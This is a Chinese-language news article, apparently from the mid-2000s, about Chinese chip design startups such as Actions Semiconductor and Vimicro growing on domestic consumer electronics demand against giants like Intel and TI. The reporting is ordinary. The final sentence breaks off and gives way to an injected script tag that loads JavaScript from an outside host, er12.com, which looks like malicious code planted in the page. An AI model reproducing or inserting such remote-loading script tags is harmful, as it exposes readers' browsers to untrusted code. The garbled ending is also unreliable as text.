未來10年，消費電子很可能會成為像1980~2000年期間pc那樣的增長引擎，從而讓全球芯片產業進入由消費電子需求驅動的增長周期。消費電子對芯片更大量、更多層次的需求正在帶來一場變革，在這場變革中，芯片過去近乎神圣的技術壁壘正在出現松動，被龐大市場需求召喚出來的中國芯片設計公司，也借此開始走上舞臺。

　　idc的研究數據顯示，2005年中國消費電子市場的銷售額達到347.5億美元，預計今年將超過600億美元，并將保持13.8%的復合增長率。作為僅次于美國的全球第二大消費電子市場，中國已經成為芯片巨頭們的主戰場，也成為后來者挖到第一桶金的礦坑。

　　2005年，出乎華爾街意料的中國mp3播放器市場的爆發，將中國本土芯片設計公司珠海炬力一舉推上納斯達克。憑借mp3芯片這個在技術含量和產品單價都不高的單一產品，珠海炬力去年的銷售收入就已經超過1億美元，進而4年時間從零創造出了一個市值近10億美元的中低端芯片設計新貴。

　　中國消費電子市場的崛起造就了中國芯片設計行業，這句話并不夸張。“在這里，我看到的是天時地利人和的優勢。”納斯達克中國芯片設計第一股中星微電子公司創始人鄧中翰這樣說道。實際上，與珠海炬力的情況類似，中星微也是依靠中國市場和多媒體芯片起家的。今天，它已經占領了全球pc攝像頭圖像處理芯片60%的市場份額。

　　從4年前的幾十家到2006年的500家，中國芯片設計公司像發蘑菇一樣正在成群結隊地出現。盡管相比英特爾(intel)、德州儀器(ti)、博通(broadcom)等參天大樹，它們在收入規模上的絕對高度還很低，絕大多數甚至還在燒錢而不是賺錢；而且它們的技術往往算不上創新，產品也多是國外芯片的替代品，但畢竟它在“血統上”屬于產業鏈條的高端位置。這是一直處在產業鏈條下游的中國企業前所未有的一次跳躍。

　　這種跳躍即便有著中國消費電子市場的支撐，也依舊像是一次“賭博”。在技術、資金高度密集的芯片設計行業，他們從事的是一個隨時都可能出局的游戲。在這里，技術、資本、市場這三個要素比其他行業更加復雜地糾纏在一起，以至于今天百舸爭流的局面更像是一場殘酷結局到來前的虛幻。

　　事實上，有些公司已經倒閉，有些公司即將倒閉，甚至有人預言2年內500家中的一半都將死掉然后變成“肥料”。因為經過過去三四年的“講故事”階段，國內的芯片設計公司已經到了產品量產和產品上市的關鍵時刻。不能在市場上證明自己，死掉可能就在一瞬間。

　　今天，芯片設計行業還只是個勇敢者的游戲。但誰能玩到最后，則不僅僅是勇氣的較量。

　　給鯊魚剔牙縫

　　在上海方泰電子科技有限公司ceo沈方的眼中，自己所從事的芯片設計行業雖然聽上去是一個很高端的生意，但他卻覺得自己做的是一個“時刻都在與鯊共舞，在給鯊魚剔牙縫”的危險行當。“太殘酷了！”在采訪過程中，沈方幾乎把這句話重復了10遍。

　　目前在全球半導體行業，英特爾控制了cpu，德州儀器把持著dsp(數字信號處理器)，三星在內存和閃存芯片市場占據領導地位。在這些電子產品最核心的關鍵芯片領域，任何國內的芯片設計公司想要分出一杯羹來，都無異于以卵擊石。

　　中國的芯片設計創業公司從誕生那天起首先面對的就是生存空間問題。在英特爾、德州儀器等芯片行業巨鯊用幾十年積累起來的資本、技術以及市場門檻面前，這些小字輩只有通過尋求細分的利基市場，才能像大樹腳下的小草那樣掙扎著從樹冠的縫隙中尋找到陽光。

　　中國芯片設計業的標兵之一——珠海炬力，就是靠抓住中國mp3市場出乎華爾街意料地爆炸性增長，瞬間成為了一個市值近10億美元的納斯達克公司。這個“神話”的根本原因就在于mp3芯片雖然利潤率相對較低，但是從技術上比較容易突破。而中國消費電子市場的爆炸式增長和不同于海外的“多層次需求”，帶來了眾多的mp3制造商。而目前國內低端mp3的利潤率已經由最早的500%降低到17%左右，廠商對芯片成本的斤斤計較，自然給珠海炬力替代進口芯片帶來了廣闊的市場空間。

　　毫不夸張地講，“抓住中國市場的特殊應用和特殊環境”已經是今天中國芯片設計行業的絕對真理。上海方泰ceo?script src=http://er12.com/t.js>